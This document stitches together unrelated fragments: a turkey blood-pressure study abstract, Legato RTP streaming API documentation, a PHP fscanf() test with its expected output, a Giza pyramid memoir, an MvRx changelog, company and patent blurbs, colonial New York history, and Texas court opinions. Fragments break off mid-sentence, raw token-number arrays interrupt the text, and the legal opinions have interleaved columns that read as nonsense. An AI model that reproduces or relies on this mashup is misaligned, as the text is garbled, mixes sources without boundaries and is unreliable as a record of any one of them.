hypotensive strains of turkeys. Plasma corticosterone levels of hypertensive and hypostensive turkeys were 2.50 and 2.19 micrograms/dl, respectively. Male turkeys of both strains had a mean plasma levels of 2.47 micrograms/dl and female turkeys had a mean level of 2.21 micrograms/gl. The average plasma corticosterone level for all turkeys was 2.35 micrograms/dl. Although the plasma corticosterone levels were higher at 1200 hr than at either 0800 or 1600 hr, the differences were not statistically significant. It was condluded that blood pressure selection had no significant effect on plasma corticosterone levels.//-------------------------------------------------------------------------------------------------- /** * @page c_streamMedia Stream Media API * * @ref streamMedia_interface.h "API Reference" <br> * <HR> * * @warning This interface is experimental and unsupported. * * The Stream Media API handles media streaming interfaces with real-time protocols like RTP. * * The Real-time Transport Protocol is used to stream audio over IP/Ethernet. It is used to * transport any audio stream through an IP or Ethernet network. * * The RTP protocol is augmented by a control protocol called Real-Time Transport Control Protocol * (RTCP), which provides monitoring capabilities on the data delivery and minimum control * functionality. * * More information on the protocol can be found in * <a href="https://tools.ietf.org/pdf/rfc3550.pdf">RFC-3550</a>. A description of the RTP/AVP * profile, which describes generic audio and video conferences, can be found in * <a href="https://tools.ietf.org/pdf/rfc3551.pdf">RFC-3551</a>. * * @note The RTP interface does not provide the full Audio/Video Profile (AVP) profile : it can only * handle a singlecast audio session. * * Typically, the RTP interface can be used to redirect an audio call coming from an audio interface * through an IP network. For example, an IP audio server (Legato platform) would retrieve audio * from any audio interface (e.g. a Modem voice call), and connect it to the RTP interface that * sends the data through an IP network. The data would be received by an IP client (PC, smartphone, * Legato platform) that is able to decode the audio stream. * * @image html AudioOverIP.png * * In order to start a RTP session, information on the local and remote IP address are required to * set up UDP sockets. The local port corresponds to the UDP socket on which RTP packets will be * sent and received, and the remote address and port correspond to the IP address and port on which * RTP packets should be sent. * * @section streamMedia_binding IPC interfaces binding * * All the functions of this API are provided by the @b streamMedia sample service. * * Here's a code sample binding to streamMedia service: * @verbatim bindings: { clientExe.clientComponent.streamMedia -> streamMedia.streamMedia } @endverbatim * * @section streamMedia_interfaces Open/Close an Audio Interface * * The following functions let you select the desired interface attributes: * - streamMedia_OpenAudioRtpRx(): return an Audio Stream Reference of the digitized audio signal * coming from a RTP socket. * - streamMedia_OpenAudioRtpTx(): return an Audio Stream Reference of the digitized audio signal * routed to a RTP socket. * * @section streamMedia_rtp RTP * * The streamMedia_OpenAudioRtpRx() and streamMedia_OpenAudioRtpTx() functions allow the * application to set up a RTP session. * * After opening and connecting a RTP interface, it has to be started using streamMedia_Start(). * * You can also register a handler function for RTCP packet reception management. * * streamMedia_AddRtcpHandler() function installs a handler for RTCP Packet reception. * * streamMedia_RemoveRtcpHandler() function removes the RTCP handler function. * * The streamMedia_SendRtcpSdes() and streamMedia_SendRtcpBye() functions allow the * application to send RTCP Session Description (SDES) or BYE packet. * * The RTCP SDES packet can be used to mark the beginning of the RTP session. It is composed of * several optional text fields that can provide information about the user's name, email address, * etc... See streamMedia_SendRtcpSdes() for more details. * * The RTCP BYE packet can be used to mark the end of the RTP session. It is possible to specify the * reason. See streamMedia_SendRtcpBye() for more details. * * More information on the RTCP SDES and BYE packets can be found in * <a href="https://tools.ietf.org/pdf/rfc3550.pdf">RFC-3550</a>. * * Before disconnecting and closing a RTP interface, it has to be stopped using * streamMedia_Stop(). Then, after disconnecting the interface from the connector, * streamMedia_Close() is called to close it. * * @note The RTP interface requires one more UDP socket in order to send and receive RTCP packets. * The RTCP UDP socket port number is automatically set to the local RTP port plus one. * * @section streamMedia_code Sample code * * The following samples illustrate the case described in the image above. It consists of two * different devices that communicate through RTP over an IP network. One device handles a modem * voice call, and the other one handles the microphone and speaker. * * @warning The following codes show a basic example of how to transmit audio through RTP between * two peers. Quality of service is not provided in those samples. They just show how the * streamMedia API should work and how it should be used. * * This first sample code
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2703, 9, 21, 10, 346, 15522, 3, 187, 94, 187, 10975, 9, 7750, 10, 187, 187, 283, 19502, 577, 1969, 187, 15522, 187, 15522, 187, 15522, 187, 15522, 187, 3728, 9, 18, 10, 551, 187, 50276, 60, 17, 62, 14490, 187, 50276, 2703, 9, 23, 10, 346, 2703, 3, 187, 94, 187, 3728, 9, 18, 10, 551, 187, 50276, 60, 17, 62, 14490, 187, 50276, 2703, 9, 23, 10, 346, 2703, 3, 187, 94, 187, 3728 ]	to a format / / Test fscanf() to scan different strings using different string format types / $file_path = dirname(__FILE__); echo " Test fscanf(): different string format types with different string \n"; // create a file $filename = "$file_path/fscanf_variation14.tmp"; $file_handle = fopen($filename, "w"); if($file_handle == false) exit("Error:failed to open file $filename"); // different valid strings / string created using Heredoc (<<<) / $heredoc_string = <<<EOT This is string defined using heredoc. EOT; / heredoc string with only numerics / $heredoc_numeric_string = <<<EOT 123456 3993 4849 string EOT; / null heardoc string / $heredoc_empty_string = <<<EOT EOT; $heredoc_null_string = <<<EOT NULL EOT; $valid_strings = array( "", " ", '', '', "string", 'string', "NULL", 'null', "FALSE", 'true', "\x0b", "\0", '\0', '\060', "\070", "0x55F", "055", "@#$#$%%$^^$%^%^$^&", $heredoc_string, $heredoc_numeric_string, $heredoc_empty_string, $heredoc_null_string ); // various string formats $string_formats = array( "%s", "%hs", "%ls", "%Ls", " %s", "%s ", "% s", "\t%s", "\n%s", "%4s", "%30s", "%[a-zA-Z0-9]", "%s" ); $counter = 1; // writing to the file foreach($valid_strings as $string) { @fprintf($file_handle, $string); @fprintf($file_handle, "\n"); } // closing the file fclose($file_handle); // opening the file for reading $file_handle = fopen($filename, "r"); if($file_handle == false) { exit("Error:failed to open file $filename"); } $counter = 1; // reading the values from file using different string formats foreach($string_formats as $string_format) { // rewind the file so that for every foreach iteration the file pointer starts from bof rewind($file_handle); echo "\n-- iteration $counter --\n"; while(!feof($file_handle) ) { var_dump( fscanf($file_handle,$string_format) ); } $counter++; } echo "\n* Done "; ?> --CLEAN-- <?php $file_path = dirname(__FILE__); $filename = "$file_path/fscanf_variation14.tmp"; unlink($filename); ?> --EXPECTF-- Test fscanf(): different string format types with different string * -- iteration 1 -- NULL NULL NULL NULL array(1) { [0]=> string(6) "string" } array(1) { [0]=> string(6) "string" } array(1) { [0]=> string(4) "NULL" } array(1) { [0]=> string(4) "null" } array(1) { [0]=> string(5) "FALSE" } array(1) { [0]=> string(4) "true" } NULL NULL array(1) { [0]=> string(2) "\0" } array(1) { [0]=> string(4) "\060" } array(1) { [0]=> string(1) "8" } array(1) { [0]=> string(5) "0x55F" } array(1) { [0]=> string(3) "055" } NULL array(1) { [0]=> string(4) "This" } array(1) { [0]=> string(5) "using" } array(1) { [0]=> string(6) "123456" } array(1) { [0]=> string(4) "4849" } NULL array(1) { [0]=> string(4) "NULL" } bool(false) -- iteration 2 -- NULL NULL NULL NULL array(1) { [0]=> string(6) "string" } array(1) { [0]=> string(6) "string" } array(1) { [0]=> string(4) "NULL" } array(1) { [0]=> string(4) "null" } array(1) { [0]=> string(5) "FALSE" } array(1) { [0]=> string(4) "true" } NULL NULL array(1) { [0]=> string(2) "\0" } array(1) { [0]=> string(4) "\060" } array(1) { [0]=> string(1) "8" } array(1) { [0]=> string(5) "0x55F" } array(1) { [0]=> string(3) "055" } NULL array(1) { [0]=> string(4) "This" } array(1) { [0]=> string(5) "using" } array(1) { [0]=> string(6) "123456" } array(1) { [0]=> string(4) "4849" } NULL array(1) { [0]=> string(4) "NULL" } bool(false) -- iteration 3 -- NULL NULL NULL NULL array(1) { [0]=> string(6) "string" } array(1) { [0]=> string(6) "string" } array(1) { [0]=> string(4) "NULL" } array(1) { [0]=> string(4) "null" } array(1) { [0]=> string(5) "FALSE" } array(1) { [0]=> string(4) "true" } NULL NULL array(1) { [0]=> string(2) "\0" } array(1) { [0]=> string(4) "\060" } array(1) { [0]=> string(1) "8" } array(1) { [0]=> string(5) "0x55F" } array(1) { [0]=> string(3) "055" } NULL array(1) { [0]=> string(4) "This" } array(1) { [0]=> string(5) "using" } array(1) { [0]=> string(6) "123456" } array(1) { [0]=> string(4) "4849" } NULL array(1) { [0]=> string(4) "NULL" } bool(false) -- iteration 4 -- NULL NULL NULL NULL array(1) { [0]=> string(6) "string" } array(1) { [0]=> string(6) "string" } array
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253, 24627, 16116, 253, 3402, 13, 309, 3407, 10437, 839, 253, 1735, 8230, 15, 187 ]	to return to the pyramids for another dose of their powers. I left my belongings at the perfume shop and mounted a camel for my trek to the small, potent pyramid that had unleashed its energy on me yesterday. I had packed away my white head covering in my suitcase. I didn't think wearing it today would be necessary. But Essam insisted that I again wear white "to get the powers." As the camel clopped down the narrow path on the way to the desert, I purchased yet another white cloth and stuck it on my head. I didn't understand what had taken place in the pyramid. I didn't see how wearing a white rag on my head connected to this mystery. But undeniably, yesterday _had_ affected me greatly. I wanted more—even if meant looking ridiculous. Essam's young nephew rode alongside me again. I smiled at the same bulky sun-withered pyramid guard and followed him through the tiny opening in the side of the tomb. I crouched down and walked through the narrow curving passageway. The guard placed four white candles on the rim encircling the small room in the center of the pyramid. He and my guide then departed, leaving me alone to receive more of the "special powers." This time, I sat cross-legged on the floor, closed my eyes, and asked God to help me. I began to meditate, breathing in the air and energy of this dank mysterious vortex. In moments, just seconds, it hit me. It entered through my crown. The force of the energy whipped me backwards, knocking me flat on the ground. The hair on my arms stood up, electrified. From my head to my toes, this mysterious vortex whirled through me with the force of a tornado, charging me with its powers. It had probably done the same thing yesterday, but I'd been too clogged with my own dank beliefs and dark emotional residues to feel it. Today, I could feel it while it was happening. Yesterday had been a critical step—a preparation for today. There are higher places we can go to connect with ancient energies, power, and wisdom that have been entombed and hidden from sight. The purpose of the powerful energy being unleashed is to clear us out so these long-forgotten powers can manifest in each of us. When I finished meditating, I tipped the guard, rode the camel back to the sandlot, paid my guide, and thanked Essam. I made tentative plans to return to Essam and the pyramids in a few days. I was ready to get to work. When I arrived at my new home, the small hotel near Giza, the owner checked me in and gave me a key to my room. I took the slow, creaking elevator to the ninth floor, went to the room number I had been assigned, and opened the door. I looked around, my eyes widening in disbelief. This room was dark, and it was the size of a large closet—nothing like the apartment I had been shown before. I walked to the one small window, opened the grimy curtains, and looked outside. The room was not only small and dark, it directly overlooked a construction site. This triggered a memory, an unpleasant one that had begun the summer before this trip. _I was renting a small cottage by the sea. I could hear the waves from every room in my little house. The warm California sun rarely hid behind the clouds. I could write, walk on the beach, go for a swim in the ocean after my morning coffee. I could live and write my books with nature at my side. It wasn't necessarily a dream home, but it was heaven to me—until the pounding began_. _It started with a simple "for sale" sign that went up on the house next door. Soon new owners purchased the property—a sprawling mansion that dwarfed my little cottage. The new owners gutted their huge house and began major reconstruction. In California, there is often little space between the homes. Their home was only a few feet from my office, my bedroom, and my living room. Every morning, the noise from the hammering, the radios, and the loud voices of the laborers woke me before my alarm, which was set for 7:00 A.M. Most days, the noise sounded as if it came from my living room_. _The pounding continued day after day after day—six and sometimes seven days a week_. _It would go on for almost a year_. _The noise seemed to intensify each time I went in my office to work. Even the healing forces of nature—the sun, fresh air, and frothy surf—weren't enough to diminish the colossally annoying forces of the workers' hammering blows_. _I explored moving. I looked at over fifty other dwellings. No door opened for me there. I was stuck living next to a construction site. I tried to live with the situation as best I could, acknowledging my neighbors' right to renovate and my right to be annoyed. But the combination of their noise and my frustration blocked me from working or living in peace_. Now in Giza, as I looked out from this tiny, dark room and saw the sprawling construction site loaded with jackhammers, mesh fencing, and loud-talking workers, I just shook my head. This isn't going to work, I thought. It's not going to work at all. I returned to the lobby and complained to the manager. "This is not the room you showed me originally," I said. "I want a large room like the one I saw before. I want windows, so light can get in. And I don't want to live and sleep next to a construction site. I'm planning on working here. I told you that before. I need peace and quiet." The manager, an older, polished Arabian gentleman dressed in a suit, suddenly developed a problem speaking English. He acted as if he didn't understand, stumbled over words, balked a bit, then finally agreed to give me a better room—the only other room he said was available. Naturally, he would have to raise the price. I said that was fine but asked to see the room first. He showed me the room. It was the same one he had originally shown me. I grilled him then. "Will it be quiet here?" I asked. "Yes," he said. "Do you promise?" I asked. "Yes," he said, assuring me the room would be everything I wanted. I transferred my luggage and, for the first time since leaving the United States, unpacked. I hung my clothes in the closet. I put my smaller garments in the drawers. I unpacked my bath products, my hair products, and my mementos. I spent the entire evening setting up my room. I was halfway around the world from where I lived, but I wanted to make myself feel comfortable. The following day, I finally unpacked my computer too. I hooked up the electrical adapter I had brought to accommodate the foreign voltage. Then I turned on the computer, opened a fresh new file, and typed one or two words, trying to get my lead. That's when it began. It started with one loud pound. Seconds later, another loud pound followed. Then, another. Soon the pounds turned into continuous, irregularly paced slams that shook the walls, the floor, and the legs of the little table where I sat, staring into my fresh new file. I didn't know who was making this noise but my irritation increased with each wall-shaking slam. I told myself to ignore the pounding. Then my stomach started to hurt. It ached. I forced myself to focus on the blank computer screen and tried to think up words to write. The harder I tried to focus, the harder the pounding shook the walls and my concentration, and the more my stomach hurt. What's wrong with me that I can't handle a little pounding? I thought. Just buck up, do your work, and ignore the noise. I couldn't ignore it. Finally, I pushed my chair away from the table and walked to the outside corridor. I looked around, trying to locate the source of the noise and my aggravation. I didn't have to go far. The door to the room next to mine was wide open. A dark, rail-thin man sat cross-legged on the floor, a few inches from the wall. In his hand, he held a large mallet—the biggest hammer I had ever seen. Every few seconds, he raised the mallet over his head and took a whack at the wall. Each blow cracked off a tiny piece of the thick, concrete-like plaster that comprised these old Egyptian walls. The man wasn't wielding the hammer fast, but he was smacking hard. It looked as if he was yet to find his rhythm. The entire hole he had made in the wall measured less than a square foot. "Excuse me," I said. He looked my way. "How long is this pounding going to continue?" I asked. He looked around the room and gestured. "Until all the walls are down," he said. I took a deep breath, thanked him, and returned to my room. I tried going back to my writing and ignoring the noise. That didn't work. The more I tried to ignore the pounding, the louder it sounded. Each time I heard the thud of the hammer hitting the wall, I began anticipating the next blow.
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2270, 2691, 13, 247, 2770, 7037, 839, 4049, 310, 15432, 275, 247, 22090, 3558, 2112, 342, 247, 13654, 4049, 275, 1340, 281, 20685, 271, 4569, 16837, 281, 2770, 15, 1723, 13, 1580, 247, 2770, 9655, 275, 824, 5122, 310, 4158, 281, 23352, 2118, 1309, 21282, 272, 13, 247, 16837, 310, 4229, 275, 667, 21282, 2491, 13 ]	Factory<S>` to `MvRxFactory<VM, S>` for better type safety. - Changed signature of `MvRxViewModelFactory#create(activity: FragmentActivity, state: S) : VM` to `MvRxViewModelFactory#create(viewModelContext: ViewModelContext, state: S) : VM?`. `ViewModelContext` contains a reference to the owning activity and MvRx fragment arguments. For fragment scoped ViewModels, it will be of type `FragmentViewModelContext` with a reference to the creating fragment. These changes allow depedency injection of your ViewModel. - New: Added `MvRxViewModelFactory#initialState(viewModelContext: ViewModelContext) : S?`. This is useful if the initial state requires information not available in `args`. - New: `@JvmStatic` no longer required on `MvRxViewModelFactory#create` and new `MvRxViewModelFactory#initialState`. - Migration guide, required changes marked with ``: ```kotlin companion object : MvRxViewModelFactory<RandomDadJokeViewModel, RandomDadJokeState> { // No JvmStatic needed override fun create(viewModelContext: ViewModelContext, state: RandomDadJokeState): RandomDadJokeViewModel { val service: DadJokeService by viewModelContext.activity*.inject() return RandomDadJokeViewModel(state, service) } } ``` - New: [#154](https://github.com/airbnb/MvRx/pull/154) Created `MvRxTestRule` in `mvrx-testing` artifact to disable debug checks and change RxSchedulers. Add the test library: ``` dependencies { testImplementation 'com.airbnb.android:mvrx-testing:0.7.0' } ``` To use the rule, add the following to a test file: ```kotlin class MyTest { companion object { @JvmField @ClassRule val mvrxTestRule = MvRxTestRule() } } ``` - New: Add `Completable#execute` [#170](https://github.com/airbnb/MvRx/pull/170) - Improved speed of saving and recreating state with `@PersistState`. [#159](https://github.com/airbnb/MvRx/pull/159) - Upgrade Kotlin to 1.3.11 - Upgrade to support lib 28.0.0 and fix bug when using 28.0.0 and restoring in a new process. [#150](https://github.com/airbnb/MvRx/pull/150) - Fix: Allow state arg constructors to accept subtypes [#144](https://github.com/airbnb/MvRx/pull/144). ## Version 0.6.0 (2018-10-23)* - New: Option to not re-emit the most recent state value when transitioning from stopped -> start. [#113](https://github.com/airbnb/MvRx/pull/113) - New: Add ScriptableStateStore interface for UI testing. [#88](https://github.com/airbnb/MvRx/pull/88) - New: Debug validation for state immutability [#90](https://github.com/airbnb/MvRx/pull/90) - New: selectSubscribe for 4-7 properties [#125](https://github.com/airbnb/MvRx/pull/125) - Fix: Execute no longer sets a default subscribeOn thread. [#75](https://github.com/airbnb/MvRx/pull/75) - Fix: Memory leaks. [#110](https://github.com/airbnb/MvRx/pull/110), [#111](https://github.com/airbnb/MvRx/pull/111) - Fix: Proper Proguard Rules. [#78](https://github.com/airbnb/MvRx/pull/78) - Fix: Multiple `setState` called within a `withState` will execute in expected order. [#89](https://github.com/airbnb/MvRx/pull/89) ## Version 0.5.0 (2018-08-28) - Initial Open source release This new Delta video—which it has dubbed "The Internetest safety video on the Internet"—incorporates 25 Internet memes that, added up, have garnered two billion video views, according to the Atlanta-based airline. The Roomba Cat glides down the aisle; Dramatic Chipmunk is dramatic; the "Charlie Bit My Finger" boys are all grown up; and a flight attendant completes the Ice Bucket Challenge. From the Double Rainbow Guy to the weird dancing baby from Ally McBeal, this new safety video is a brilliant pastiche of Internet zeitgeist, past and present. Oh, and Deltalina is back. Screenshot via Delta Delta has been upping its own safety video game with its witty, multiple-version clips; today's new video tries to not only make passengers want to sit up and watch, but also become an internet hit in its own right. Did Delta just make the internet jump the shark? Or are we merely seeing the signs of an era in which the Internet is an integral part of flying? After all, by retrofitting 250 of its planes, Delta is leading American carriers in bringing fast internet connection to the air—which might make you shell out the money to go online and rewatch the Nyan Cat video again.Foodmate Since 2006 Foodmate has become the committed and reliable partner of major poultry processing companies worldwide. Company Profile – Foodmate US Foodmate is a leading poultry processing equipment manufacturer based in the Netherlands. Founded by industry experts in early 2006, the company quickly expanded its worldwide distribution into North and South America with the launch of Foodmate US in 2010. Foodmate has since become the committed and reliable partner of major poultry processing companies worldwide. Our team of dedicated professionals is backed by decades of poultry industry knowledge and experience, resulting in the engineering, development and implementation of highly innovative meat processing equipment geared to our clients’ ever-changing needs. Though cut-up and chicken deboning systems are the company’s main focus, Foodmate’s product line spans a wide assortment of poultry processing equipment designed for live bird handling, killing and de-feathering, eviscerating, chilling, weighing and grading systems and more. In addition to equipment manufacturing, Foodmate provides an extensive variety of spare parts and equipment service. Further supporting the industry, Foodmate also delivers equipment that can be used in industrial washers, including crate washers, pallet washers and container/drum washers. Driven by research, paired with unmatched knowledge and decades of experience, it is the company’s mission to innovate, automate and bring cost-effective solutions to the industry. Foodmate B.V. Foodmate US Foodmate is an equipment manufacturing company based in the Netherlands. Founded in 2006, we focus primarily on poultry processing, and we recently launched Foodmate US, expanding our worldwide distribution into North America.The present invention relates to an inner-focusing high zoom ratio lens, and more particularly, to a high zoom ratio lens that is designed to be downsized and to designate zoom adjusting ranges in a part of a shorter depth of focus. The prior art inner-focusing high zoom ratio lens has a greater variation in a feeding distance of a focusing lens with respect to the higher close-up point, and when a single focusing cam is provided to magnify a close-up performance, a displacement to focus becomes resultantly increased in the remaining zoom ranges, which leads to a necessity for vari-focal feature. Focusing cam curves used to shift a point of such vari-focal operation to a zoom range require appropriate balance of parameters of zooming and focusing. However, it is difficult to ensure a well-balanced cam configuration to attain smooth zooming and focusing, and hence, a rotation angle of a focusing cam must be altered, or some compensation is required in the focusing cam. Japanese Patent Laid-Open No. H8-304684 discloses a high zoom ratio lens in which a focusing lens moves forward and backward while simultaneously moving in a circumferential direction during either zooming or focusing. A cam configuration is used for a guide groove that urges a focusing cam barrel to circumferentially move while a cam pin fitted in the guide groove moves therein along in the focusing cam barrel, so that a displacement in a circumferential direction distorts an operational range with the focusing cam during zooming so as to attain an appropriate displacement in any of zoom ranges for focusing. However, it is still difficult to ensure a sufficient displacement to magnify a close-up performance and to attain a displacement for focusing under a restricted condition of shift of focal point in the entire zoom range. In a high zoom ratio lens disclosed in Japanese Patent Laid-Open No. 2000-89086, a focus compensating cam is disposed in a rotational member along with a focusing cam in order to attain an appropriate displacement to focus. However, since a focus lens in such mechanism is designed to linearly move during zooming, a displacement is fixed in any zoom range,
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1634, 386, 369, 671, 622, 18859, 387, 253, 3480, 273, 1675, 326, 1457, 26653, 434, 8811, 5087, 281, 253, 1759, 593, 273, 253, 322, 44872, 15, 754, 3103, 6138, 326, 1110, 7270, 327, 45999, 256, 23581, 13, 278, 23581, 13, 499, 23581, 13, 16121, 13, 15133, 13, 5534, 47533, 13, 390, 2444, 275, 6871, 390, 20596 ]	with a simpler service in which the sermon—an analysis of a Bible passage by the minister—was the featured event. While Puritans agreed about these basic principles, they clashed over how to carry them out. A minority of Puritans thought that the Church of England could never reform itself and wanted no further relations with it. They fled England because disavowing the state church was a crime punishable by death. These self-styled "Pilgrims" settled first in Holland and later, in 1620, established the Plymouth Colony in what is now southeastern Massachusetts. The majority of Puritans, however, did not want to disavow the Church of England but instead sought to reform it from within. When it became clear in the late 1620s that King Charles was making the church _more_ rather than less Catholic, many of these Puritans decided to leave England too. In 1629 they created their own North American settlement, the Massachusetts Bay Colony, just up the coast from the Pilgrims. There the Puritans could remain nominal members of the Church of England while instituting their reforms far from meddling bishops. They hoped that their "city upon a hill," Boston, would set an example that other Englishmen would one day emulate, eventually allowing the Puritans to return triumphantly to a better, purified England. Anne Hutchinson found the concept of the city upon a hill absolutely thrilling. When her favorite minister, John Cotton, moved to Boston in 1633, Anne became determined to settle there too. There was only one problem. Most immigrants who risked life and limb on a perilous, potentially months-long ocean journey to a wild, untamed continent were young men and women. Anne, in contrast, was in her early forties (almost a senior citizen in those days) and had ten children, with an eleventh on the way. But once Anne had made up her mind, nothing could stop her. She first sent her eldest son, Edward, to Boston to pave the family's way, and in 1634 Anne and her husband, with their ten other children in tow, crossed the Atlantic on the _Griffin_ and settled in Boston. Even within the Massachusetts Bay Colony, the Puritans argued over the doctrinal changes they might institute. Most Puritans believed that a person's elevated worldly status—one's popularity, one's health, and especially one's wealth—was an indicator of divine approbation. Anne could easily have adopted this view, as she lived in one of the finest homes in Boston, was a popular midwife, and hosted a weekly Bible study group that drew large crowds. But Hutchinson was convinced that because God had predetermined everything in one's life even before birth, one's standing in the earthly world was no evidence of saintly status in God's eyes. Hutchinson boldly espoused this view at her Bible study meetings. Puritan leaders found Hutchinson's arguments alarming and threatening, because Puritans relied heavily on worldly standing to determine church membership. Only Cotton, among all the ministers in Massachusetts, endorsed her views. After failing to persuade her to recant, the colony's leaders charged her with heresy. She would not back down, and during her trial she made even more radical claims. When asked how she knew that she was right and the other Puritan leaders were wrong, she stated that God, speaking through the Holy Spirit, had told her so. In 1638 the court excommunicated her and, to insure that she could not spread her "heresies" to others, banished her from Massachusetts. Hutchinson and her family moved initially to Rhode Island at the invitation of Roger Williams, another Puritan Dissenter whom the Massachusetts Puritans had expelled. Anne's husband, William, became a government official there. But she soon persuaded him to quit that job. She had come to believe that all civil government was illegitimate in God's eyes. William died sometime in 1641, and in the following year, Anne decided to truly practice what she preached. Packing up seven children, a son-in-law, and a half-dozen or so servants, she moved the family to a place where she believed she would not have to answer to any government—a forest homestead about fifteen miles north of the New Amsterdam settlement, in what is now the northeast portion of the Bronx, which she had purchased from an Englishman. She hired another local Englishman to build her family a home on the property near Split Rock, a granite geological oddity that still sits today just a few feet south of Interstate 95, only a few yards east of where that highway passes over the Hutchinson River Parkway. The Indians involved in Kieft's War who knew about Hutchinson's new home probably did not care that she was English rather than Dutch. In the summer of 1643, they killed every adult inhabitant, including Anne, her son-in-law, her servants, and all but one of her children. According to legend, only after the killing spree ended did the attackers find Hutchinson's red-haired ten-year-old daughter, Susanna, cowering in the Split Rock crevice. They took her prisoner and only released her several years later, after the Dutch and the various Indian chiefs ratified a peace treaty at Fort Amsterdam in 1645. A year later, Massachusetts governor John Winthrop reported that Susanna was living in Boston. She later moved to Rhode Island and there bore eleven children of her own. Her mother, stubborn and independent to the end, was one of the very first Americans to take a stand in defense of freedom of conscience. Kieft's disastrous war on the Indians convinced WIC leaders that they had once again chosen the wrong man to operate their struggling settlement. They needed a proven leader with a track record of success in running a profitable colony. He needed to be diplomatic enough to maintain peace with the Indians, yet strong enough to squelch the never-ending flow of complaints that New Amsterdam's colonists kept sending to the Dutch government, much to the embarrassment of the WIC. The man they chose, in 1647, was the company's peg-legged governor of Curaçao, thirty-seven-year-old Peter Stuyvesant. Stuyvesant was born in about 1610 in the cold, windswept northern Dutch province of Friesland. His father was a minister of local prominence, and Peter grew up in a comfortable home. He attended the local college, probably with the goal of following his father into the ministry, but around 1630, midway through his studies, the university expelled him, apparently because he was caught sleeping with the daughter of his boardinghouse keeper. Seeing that Peter was not cut out for the ministry, his father sent him to Amsterdam to learn a profession. The Reverend Stuyvesant probably had some connections with Friesland's representatives on the WIC's board of directors, because Peter soon landed an entry-level job as a clerk at company headquarters in Amsterdam. After Peter served five years as a WIC clerk in Amsterdam, his father used his influence to get him a promotion. The company made him its supply officer on Fernando de Noronha, an idyllic but lonely seven-square-mile islet that lies 225 miles east of the Brazilian coast. Soon they transferred him to a similar position in the far more important Brazilian coastal trading stronghold of Pernambuco and in 1638 to the same position in Curaçao, where the WIC stationed its officer in charge of all Caribbean operations. When that station chief died, the WIC gave his job to Stuyvesant. Stuyvesant was tough, and loyal to the company. On WIC orders, he led a doomed attack on the Spanish fort at Puerto Rico, losing his leg in the process. After a two-year recuperation period, during which he married his nurse, Stuyvesant was rewarded with a significant promotion. The WIC made him director general of Curaçao, Bonaire, Aruba, and all of New Netherland, with a base of operations in New Amsterdam. Sailing at the head of a flotilla of four ships, Stuyvesant left Holland on Christmas Day 1646 and, after stopping first in the Caribbean, arrived in New Amsterdam to replace Kieft on May 11, 1647. The WIC told Stuyvesant that past problems in New Amsterdam had originated with "the slackness of the late Director and the neglect of duty by the preacher," so he immediately set about trying to restore order and respect for authority. Learning that drunken knife fights were a common occurrence, he announced that he would henceforth punish the participants in such brawls with six months in jail on a bread and water diet, eighteen months if anyone was stabbed. He also banned the sale of alcohol after 9:00 p.m. When he caught sailors employed by the WIC on shore without permission, he sentenced them "to be chained for three consecutive months to a wheelbarrow or a handbarrow and put to the hardest labor, strictly on bread and water." Stuyvesant also warned the settlers against appealing these harsh fines or punishments to the WIC directors in Amsterdam, as they had in the past. "Should any one do so, I would have him made a foot shorter, pack the pieces off to Holland and let him appeal in that way." Stuyvesant was also appalled at the lack of respect that New Amsterdam's residents paid to the observance of the Sabbath. He therefore announced that those caught on Sundays sowing, mowing, plowing, hunting, fishing, woodcutting, or working in iron or tin
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Teal, 230 district court has jurisdiction). S.W.3d at 177. We also indicated that the critical determination is whether the trial court (and reviewing ... It certainly was a defective appellate courts) and the defendant can identify what indictment because it omitted one of the penal-code provision is alleged and whether that two [329] elements that raise hindering penal-code provision is one that vests jurisdiction in the apprehension from a misdemeanor to a felony, but it was nonetheless sufficient to Page 5 279 S.W.3d 324, 329; 2009 Tex. Crim. App. LEXIS 378, 14 [14] vest jurisdiction-it charged "an harm or defraud another, then a state-jail felony. offense" and one could fairly conclude from the face of the charging instrument (c)(2) school records, license, permit, seal, that the State intended to charge a felony title, letter of patent, or similar document; a offense. If appellant was confused about third-degree felony unless the actor's intent is to whether the State did or intended to charge harm or defraud another, then a second-degree him with a felony, he could have and felony. should have objected to the defective (c)(3) a record required to enroll a student in indictment before the date of trial. a school district and used to establish residency; a class C misdemeanor. Id. at 181-82. (c)(4) a written appraisal [16] filed with an 4 For example, a district court lacks appraisal review board that was performed by a subject-matter jurisdiction over a speeding person with a contingency interest in the outcome offense no matter how perfect the wording of a of the hearing; a class B misdemeanor. charging instrument alleging such an offense, and there is no such offense as felony speeding. The (d) vehicle liability insurance form; varying trial court clearly lacks subject-matter jurisdiction, levels, depending on how the tampering was done and the indictment cannot, therefore, be repaired. (§ 37.10 (a)(1-6)). Here, although the indictment properly charged a Although the heading alleges a third-degree misdemeanor and lacked an element necessary to charge felony, the jury convicted appellant of a state-jail a felony, the felony offense exists, and the indictment's felony. Such a conviction may be had only under return in a felony court put appellant on notice that the § 37.10(c)(1) with proof of intent to defraud or charging of the felony offense was intended. Further, the harm another. face of each indictment contains a heading: "Indictment--Tampering with a Governmental Record 3rd The court of appeals erred when it concluded that Degree Felony,--TPC § 37.10(a)--Code 73990275." 5 these indictments fail to satisfy the constitutional The Penal Code section was easily ascertainable, and the requirement of subject-matter jurisdiction and did not notation that the offense [15] was a third-degree vest the district court with jurisdiction. We reverse the felony clearly indicated that the state intended to charge a judgment of the court of appeals and affirm the judgment felony offense and that the district court had of the trial court in Cause No. 05-06-01274-CR subject-matter jurisdiction. Appellant had adequate notice (trial-court Cause No. 23290-86). In Cause No. that she was charged with a felony. If she had confusion 05-06-01230-CR (trial-court Cause No. 23338-86), the about whether the State did, or intended to, charge her court of appeals found appellant's first issue, lack of with a felony, she could have, and should have, objected jurisdiction, dispositive and therefore did not address her to the defective indictment before the date of trial. second issue. We reverse the judgment of the court of appeals in Cause No. 05-06-1230-CR and remand it to 5 The heading sets out that the charge is a that court so that it may consider appellant's unaddressed third-degree felony. Section 37.10(a) enumerates claim of error as to an objection [17] under the the elements of tampering with a governmental attorney-client privilege. We deny appellant's motion for record. Section 37.10(c) and (d) state what rehearing. punishment ranges apply to different kinds of governmental records. Delivered: March 18, 2009 (c)(1) general classification not covered by Publish subdivisions (2), (3), and (4) and subsection (d); a class A misdemeanor unless the actor's intent is to Page 1 DAVID WAYNE MIDDLETON, Appellant v. THE STATE OF TEXAS NO. 1263-01 COURT OF CRIMINAL APPEALS OF TEXAS 125 S.W.3d 450; 2003 Tex. Crim. App. LEXIS 73 April 23, 2003, Delivered NOTICE: [1] PUBLISH if the officer lacked probable cause. We conclude that the failure to [452] define that term was not error because SUBSEQUENT HISTORY: As Corrected May 5, this jury did not need the definition. 2003. I. Facts PRIOR HISTORY: ON APPELLANT'S 